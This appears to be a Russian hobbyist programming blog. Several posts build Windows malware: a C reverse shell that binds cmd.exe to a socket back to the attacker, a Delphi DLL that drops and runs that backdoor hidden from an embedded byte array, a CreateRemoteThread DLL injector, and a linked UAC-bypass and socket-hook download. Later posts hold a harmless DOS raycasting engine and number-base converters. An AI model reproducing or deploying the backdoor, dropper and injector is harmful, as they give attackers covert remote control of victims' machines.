Общее·количество·просмотров·страницы

Показаны сообщения с ярлыком C\DELPHI. Показать все сообщения
Показаны сообщения с ярлыком C\DELPHI. Показать все сообщения

пятница, 10 января 2014 г.

Праздничные плюшки!

Делюсь с вами штучками и рюшечками.

1)Обход UAC (уже известным методом,для чего думаю понятно).
2)Хук сокетов(думаю тоже понятно для чего.Вообще способов применения уйма,но учитывая тематику данного блога,дам намек что это нужно что бы не юзать школометод с hosts.инжектора ясен пень в комплекте нету)

все написано на "С" с использованием разных библиотек(но наиболее популярных), для общего развития так-сказать)

скачать сорцы тута: source

среда, 14 ноября 2012 г.

reverse connect2

хух.наконец я тут.
нашел в себе силы сегодня продолжить.

Итак как я и говорил продолжаем идею.

пишем DLL на delphi.Но сначала берем хекс редактор и копируем код в массив на делфи.

получается что то такое:


data: array[0..7167] of byte = (
$4D, $5A, $90, $00, $03, $00, $00, $00, $04, $00, $00, $00, $FF, $FF, $00, $00, 
$B8, $00, $00, $00, $00, $00, $00, $00, $40, $00, $00, $00, $00, $00, $00, $00, 
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, 
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $E0, $00, $00, $00, 
$0E, $1F, $BA, $0E, $00, $B4, $09, $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, 
$69, $73, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F
.........................................................................................................................................................

дальше идея проста:
По DLL_PROCESS_ATTACH создаем файл,записываем в него массив,закрываем и запускаем.
вот и все.

простая процедурка:


procedure DLLEntryPoint(Reason: Integer);
var nw:cardinal;
h:thandle;
begin

case Reason of

DLL_PROCESS_ATTACH:
begin

h:=createfile('kon.exe',GENERIC_READ or GENERIC_WRITE,0,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);

writefile(h,data,sizeof(data),nw,nil);

closehandle(h);

shellexecute(0,'open','kon.exe',0,0,SW_HIDE);

end;

DLL_PROCESS_DETACH:;

DLL_THREAD_ATTACH: ;

DLL_THREAD_DETACH:;

end;

end;

begin

DLLProc := @DLLEntryPoint;

DLLEntryPoint(DLL_PROCESS_ATTACH); 

end.

теперь делаем инжектор в процесс.я не парился и взял Ms-rem'a


Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
  Memory:pointer;
  Code: dword;
  BytesWritten: dword;
  ThreadId: dword;
  hThread: dword;
  hKernel32: dword;
  Inject: packed record
           PushCommand:byte;
           PushArgument:DWORD;
           CallCommand:WORD;
           CallAddr:DWORD;
           PushExitThread:byte;
           ExitThreadArg:dword;
           CallExitThread:word;
           CallExitThreadAddr:DWord;
           AddrLoadLibrary:pointer;
           AddrExitThread:pointer;
           LibraryName:array[0..MAX_PATH] of char;
          end;
begin
  Result := false;
  Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
                           MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if Memory = nil then Exit;

  Code := dword(Memory);
  //инициализация внедряемого кода:
  Inject.PushCommand    := $68;
  inject.PushArgument   := code + $1E;
  inject.CallCommand    := $15FF;
  inject.CallAddr       := code + $16;
  inject.PushExitThread := $68;
  inject.ExitThreadArg  := 0;
  inject.CallExitThread := $15FF;
  inject.CallExitThreadAddr := code + $1A;
  hKernel32 := GetModuleHandle('kernel32.dll');
  inject.AddrLoadLibrary := GetProcAddress(hKernel32, 'LoadLibraryA');
  inject.AddrExitThread  := GetProcAddress(hKernel32, 'ExitThread');
  lstrcpy(@inject.LibraryName, ModulePath);
  //записать машинный код по зарезервированному адресу
  WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
  //выполнить машинный код
  hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
  if hThread = 0 then Exit;
  CloseHandle(hThread);
  Result := True;
end;

(копипаста с васма)
там хорошо объясняется что собсно делает код.
А именно-после загрузки dll в память будет выполнена ее точка входа- то есть наше DLL_PROCESS_ATTACH. останется только найти процесс для внедрения по запуску которого мы будем получать терминал у себя на машине с помощью такой вот функи

function GetPID(ExeFileName: string): dword;
var
  ContinueLoop: boolean;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  UpEFN: string;
begin
  result:= 0;
  UpEFN:= UpperCase(ExeFileName);
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpEFN)
        or (UpperCase(FProcessEntry32.szExeFile) = UpEFN)) then
    begin
      result := FProcessEntry32.th32ProcessID;
      break;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

фух ну вроде все:)
такая вот прикольная штука получается;).


поэтапный алгоритм того что мы делали:
1)написали шелл(бэкдор)
2)скопировали его в хекс-коде в массив на делфи
3)написали библиотеку которая по загрузке в память выполняет свою точку входа
4)взяли инжектор,который смотрит запустился ли процесс(надо добавить) и если да то внедряет в него dll-ку которая выполняет наш бэкдор в итоге мы получаем терминал когда какое то действие произведено(то есть когда нам это конкретно надо)

вот такие вот извращения господа:)
всем доброй ночи.

понедельник, 12 ноября 2012 г.

reverse connect


Как обещал.сегодня я сказал себе:
стоп.хватит.хватит про*бывать время в п*зду.вставай.садись за комп.делай что то пид*рас.
наверное еще помогло сесть то что сегодня была только одна пара =Р
короче соль:я не помню где я узнал эту идею:мб спизд*л у кого,может само пришло в голову.
ну смысл вот в чем:
пишем шелл(бэкдор если угодно) который будет сам устанавливать соединение с машиной атакующего (реверс коннект).В чем соль спросите вы?-обход NAT за которым могу сидеть юзверы.
Пишем на сокетах.В виду того что я прочел  книженцию по "С", то теперь хочу потренироваться немного,так что код на си.за возможную криворукость в коде не бейте:)
Но это не вся идея.Я хочу сделать так: инжект ДЛЛ в процесс и тогда открытие терминала у "нас".
сегодня я напишу шелл, завтра докидаю длл.
Поехали.


#include <winsock2.h>
#include <stdio.h>

все что понадобится.

#pragma comment(lib, "Ws2_32.lib")

говорим компилю что нужна эта библиотека.


        SOCKET sock;
WSADATA wsa;
  
STARTUPINFO s_info; 
PROCESS_INFORMATION p_info;

         struct sockaddr_in sock_struct;


int   port=6667;
    char *ip="127.0.0.1";

переменные.дальше объясню что как.

сокеты это программный интерфейс, обеспечивающий обмен данными.

бывают клиентские и серверные.каждый процесс может создать серверный сокет и забиндить его к порту (как видно в переменных порт и айпи).

если допилить нормально этот бэк,то в айпи следует использовать "белый" для 100% коннекта в вашей машине.

Первым шагом идет проверка, присутствуют ли сокеты на машине.

есть пара версий сокетов, я использую 1.1

инициализация производится с помощью команды WSAStartup

WSAStartup(0x101, &wsa);

используется 2 аргумента- версия и указатель на структуру.

если все прошло гладко(я обойдусь без проверок,все таки я ленив ;)) то мы можем попробовать открыть сокет. ф-я WSASocket

sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,  NULL,  NULL);

у нее 3 действенных аргумента:семейство,тип и протокол.

протокол ясен пень transmission. Сокет бывает двух типов STREAM или DATAGRAM. Первый тип ориентирован на соединение,второй-отсылка пакетов.
нам подходит первое.В версии 1.1 доступно только одно семейство ;)

Остается последнее дело-установка соединения.Для этого нужно заполнить структуру SOCKADDR и создать процесс перенаправив потоки ввода-вывода в сокет,затем просто висеть.

            sock_struct.sin_port=htons(port);
            sock_struct.sin_family=AF_INET;
            sock_struct.sin_addr.s_addr=inet_addr(ip);

объясню:заполнить семейство-просто.а вот с ипом и портом чуть по иному.
порт это число,которое должно быть в сетевом порядке байт.преобразуем с помощью htons.
(подробнее в вики,там дохрена инфы).
в случае с ипом-нам нужен адрес,а адрес обычно в форме имя_домен.по этому опять нужно преобразовать.в сях есть ф-я которая быстро это сделает.

Все,производим коннект

connect(sock,(SOCKADDR*)&sock_struct,sizeof(sock_struct));

если прошло-надо заполнить структуру startupinfo (используется в связке с createprocess) что бы определить терминал.


        memset(&s_info,0,sizeof(s_info));
        s_info.cb=sizeof(s_info);
        s_info.dwFlags=STARTF_USESTDHANDLES;
        
        
        s_info.hStdInput = (HANDLE)sock;
s_info.hStdOutput= (HANDLE)sock;
s_info.hStdError = (HANDLE)sock;

устанавливаем размер структуры равный размеру структуры (ХАХА)
устанавливаем стандартный ввод-вывод-обработку ошибок данных.(важно что бы при таком заполнении параметр createprocess -fInheritHandles был TRUE).
и перенаправляем потоки ввода-вывода в сокет.

создаем процесс и зависаем


CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&s_info,&p_info);
WaitForSingleObject(p_info.hProcess,INFINITE);

Вот и все.Для проверки можно использовать нэткат:


ПОСТ СКРИПТУМ:

надеюсь завтра я не о*уею и доделаю идею до конца,потому что идея реально прикольная.

ПОСТ ПОСТ СКРИПТУМ:

ЗАЧЕМ УСЛОЖНЯТЬ ЖИЗНЬ?

скучаешь по кому-то? ---- ПИШИ КОД
хочешь встретиться? ---- ПИШИ КОД
тебя не понимают? ---- КОМПИЛЯТОР ТЕБЯ ПОЙМЕТ
есть вопросы? ---- ГУГЛ ТЕБЕ ОТВЕТИТ
не нравится что-то? ---- ТЫ-ДЕСТРУКТОР
нравится что-то? ---- ТЫ-КОНСТРУКТОР
хочется чего-то? ---- ПИШИ КОД
ЛЮБИШЬ кого-то? ---- #include <brain.h>







воскресенье, 28 октября 2012 г.

Создание псевдотрехмерного движка

Конечно движок это через чур загнуто сказано,ну оно похоже на движок:)

Побудило меня на это то,что я фанат серии игра дум и ее модов,портов и т.д.(короче дум-задрот).меня всегда влекла атмосферность этой игры и еще со школы я мечтал написать свое вульфенштейно или думо подобное двигло.
Вот и зародились у меня некоторые темы.

Язык: Си.
Среда разработки: борланд Си 3.1

Поехали.

Итак движок будет под ДОС как вы поняли и рисоваться он будет методом рейкастинга.

В чем суть методики.

Это преобразование супер просто формы данных (в нашем случае обыкновенная матрица) в псевдотрехмерную проекцию с помощью пускания лучей из точки обзора в ее объем.

Выглядит это вот так:
на первом куске- двумерная карта и точка обзора откуда испускаются лучи,на втором куске трехмерная(псевдо) проекция.
Особенности в том,что стенки будут всегда перпендикулярны полу.за счет этого этот метод выигрывает в скорости,так как можно пускать один луч для всего столба экрана.
А так же стенки будут представлять собой равносторонние квадраты.

размеры желательно принимать такие,что бы можно было представить двойку в степени,операции сдвига работают намного быстрее умножения и деления.

начнем писать код и походу дела его толковать.

из хидеров нам понадобится

#include<graphics.h>
#include<math.h>
#include<dos.h>
#include<conio.h>
#include<stdlib.h>

начальные переменные

float rad;
int scan, exitt=0,pres=0, speed=2, anglspd=3, curangl=-30;

тут понятно я думаю,скэн коды клавиш,выход,нажата клавиша,скорость движения по карте,скорость поворота в сторону,текущая позиция взгляда.

int KARTE[16][16]={
    {1,9,9,9,9,9,9,9,9,9,9,9,9,9,1},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,7,7,7,7,7,7,7,0,4},
    {9,0,0,0,0,7,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,7,7,7,7,7,7,7,7,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, 
     {9,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
      {1,0,0,0,0,0,0,0,0,0,0,0,0,0,4},
    {1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
    };
вот и сама карта,она размерами 16х16.
мы находимся в точке которая помечена зеленым и смотрим в сторону где помечено красным.



карта это матрица(двумерный массив,который будет проектироваться в псевдотрехмерный мир)
каждая цифра отличная от 0 будет стеной (пола и потолка нет,я это спиздил у вульфенштэйна :D) и каждая цифра же одновременно окрашивает стену в цвет в соответствии с цветами драйвера EGAVGA.Bgi (его присутствие,к сожалению,необходимо).

Теперь что касается управления

void interrupt (*oldint9)(); // указатель на первичное прерывание клавиатуры
void interrupt newint9()

перехватываем int9 (прерывание клавиатуры) и в новом обработчике ставим свои кнопки управления(стрелки)

выглядит это следующим образом:

static int kbrdvalue;
 scan = inportb(0x60); // будем читать скэн-коды клавиш
   if(scan == 1)
 exitt = 1; // эск- выход
   else
   {
     if(scan == 72) // стрелки будут клавишами перемещения
 pres = 1;
     else
     {
       if(scan == 80)
  pres = 2;
       else
{
if(scan == 75)
pres = 3;
else
  {
  if(scan == 77)
pres = 4;

      else
  {
  pres = -1;
пояснение в комментариях.
так же нужно сделать сброс контоллера прерываний клавиатуры,процедурку я нашел в тырнетах:

kbrdvalue = inportb(0x61); // сбросим контроллер прерываний клавиатуры, т.к. мы не одни в системе (хотя это и ДОС)
 outportb(0x61, kbrdvalue | 0x80);
 outportb(0x61, kbrdvalue);
 outportb(0x20, 0x20);

начинаем основную часть:

initgraph(&gdriver, &gmode, "C:\\bc\\BGI"); // инициализируем графич.режим

xmax = getmaxx();
ymax = getmaxy();
rad = 3.1415926535897932384626433832795/180.0;
vlx = xmax/fov;

получаем размеры экрана.затем нам понадобятся радианы,ну и в конце по алгоритму значение vlx будет переходом от столбца к столбцу.
FOV как вы поняли это field of vision равное 60 градусам (можно поиздеваться с градусами и получить прикольные наркоманские эффекты):)

теперь установим наши прерывания 
oldint9 = getvect(9); // для установки первоначального значения получим вектор прерывания клавиатуры
setvect(9,newint9);

ну и основной цикл:

    for(angle = curangl; angle <= curangl+fov;angle++) // получаем угол (в градусах)

    {
    if(angle<0)
            tmpangl = angle + 360;
    else
         {
          if(angle>360)
                tmpangl = angle - 360;
          else
                tmpangl = angle;
          }

                          // вычисляем расстояние от нас до стенки (это тоже взято из алгоритма)
    xb = sin(angle*rad);       
    yb = cos(angle*rad);         
    bx = px;                 
    by = py;
    l = 0;
    xbtmp = xb;
    ybtmp = yb;

     do {
     bx = bx + xb; // находим первое ближайшее пересечение (т.к луч идет в квадрат и сталкивается с точками)
     by = by + yb;
     l = l + 0.5; // отображение стенок (можно регулировать отдаленность)
     fy = (int)by/10; // примерное наше расположение в квадрате (можно где то от 8 до 12, что бы не застрять в стенке) (как вы поняли каждое значение-это еще один квадрат)
     fx = (int)bx/10;
     k = KARTE[fx][fy];
   }while(k == 0);

   dd = (2*ymax) / l; //высоты столбца

   hp1 = ymax/2-dd; // находим верхние и нижние точки откуда сможем отрисовывать столбцы
   hp2 = ymax/2+dd;

   setfillstyle(1,k);
   bar(x,hp1,x+vlx,hp2); // рисуем двухмерными прямоугольниками
   setfillstyle(1,ceiling);
   bar(x,1,x+vlx,hp1-1);       //потолок
   setfillstyle(1,ground);
   bar(x,hp2+1,x+vlx,ymax);       //пол
   setlinestyle(SOLID_LINE, 1, 1); // окантовка-сплошная черная линия
   setcolor(0);
   line (x,hp1,x+vlx,hp1);
   line (x,hp2,x+vlx,hp2);
   x = x+vlx;


   }
   // тут просто- если нажали- изменяем координаты и углы
    if(pres == 1)
        {
    
         px = px +speed*xbtmp;
         py = py +speed*ybtmp;
       
        }
 if(pres == 2)
{
px = px - speed*xbtmp;
py = py - speed*ybtmp;
}

  if(pres == 3)
 curangl -= anglspd;

  if(pres == 4) 
curangl += anglspd;

  if(exitt == 1) // если выход- выполняем восстановления векторов прерываний и перевод в первоначальный режим экрана
   {
   disable();
            setvect(9,oldint9);
            kbrdvalue = inportb(0x61);
            outportb(0x61, kbrdvalue | 0x80);
            outportb(0x61, kbrdvalue);
            outportb(0x20, 0x20);
            enable();
            closegraph();
            exit(0);
            }
}


}



вот и все!)
вот как выглядит это кривое отродие:

Я думаю его немного улучшить, но думаю максимум на чем я закончу это что натяну на него текстуры и усе)))
в прочем хочется еще попробовать на паскале поколдовать,есть алгоритм по сложнее,но и двигло получается более-менее не квадратное,в общем посмотрим как пойдет.
ну и под конец думаю сделать очень простой двиг на delphi с opengl или D3D рендером.А пока вот что имеем,и то уверяю что писать такое не совсем просто.

Спасибо за внимание).






четверг, 9 февраля 2012 г.

дня 4 морально разлагался)решил написать небольшой юнит для работы с СС,думаю студентам\школьникам пригодится.Переводит из 10 в другие(двоичную,3,4,5,6,7,8,9,16) и назад.

unit Notation;


interface




uses sysutils;
function DECtoX(x:longint;z:word):string;
function XtoDEC(s:string;x:word):extended;
implementation




function DECtoX(x:longint;z:word):string;
var q,i:integer;
    s,t,num:string;
begin
     repeat
           q:=x mod z;
           x:=x div z;
           if q>9 then t:=chr(ord('A')-10+q)
           else str(q,t);
           s:=s+t;
     until x=0;
     for i:=1 to length(s) do
     num:=num+s[length(s)-i+1];
     result:=num;
end;




function in_extent(a,b:extended):extended;
begin
result:=exp(b*ln(a));
end;


function XtoDEC(s:string;x:word):extended;
var q:extended;
i,n,e:integer;


begin
     q:=0;
     for i:=1 to length(s) do
     begin
          val(s[i],n,e);
          if e<>0 then n:=10+ord(UpCase(s[i]))-ord('A');
          q:=q+in_extent(x,length(s)-i)*n;
     end;
     result:=q;
end;


end.
Пример использования:



a:=xtodec('A',16);




f:=dectox(round(a),2);

ну и т.д.

среда, 1 февраля 2012 г.

из троичной сс в десятичную

для индексации.может какому несчастному студенту пригодится
program Project2;  
{$APPTYPE CONSOLE} 
uses sysutils;  


function in_extent(a,b:extended):extended; 
begin 
result:=exp(b*ln(a));
end;  


function Three_to_dec(s:string;q:word):extended; 
var param,i:integer; m,n:extended; 
begin  
m:=0;  
for i:=1 to length(s) do  
begin  
val(s[i],n,param);  
if param<>0 then  
n:=10+ord(upcase(s[i]))-ord('A');  
m:=m+in_extent(q,length(s)-i)*n;  
end;  


Three_to_dec:=m; 
end;  


function is_three(a:extended):integer; 
var i:integer; 
c:set of char; 
s:string; 
begin 
c:=['0'..'2']; 
s:=floattostr(a);
for i:=1 to length(s) do 
if not(s[i] in c) then 
result:=1; 
if result=1 then 
writeln('error'); 
end;  


procedure calculate; 
var a,b,c,d,e,f,g:extended; 
begin 
writeln('vvedite #1'); 
readln(a); 
b:=is_three(a); 
if b=1 then exit;
c:=three_to_dec(floattostr(a),3); 

writeln('vvedite #2'); 
readln(d); 
e:=is_three(d); 
if e=1 then exit; 
f:=three_to_dec(floattostr(d),3); 
g:=abs(c-f); 
writeln('raznost =',g:4:2); 
end;  
begin 
calculate; 
readln;  
end.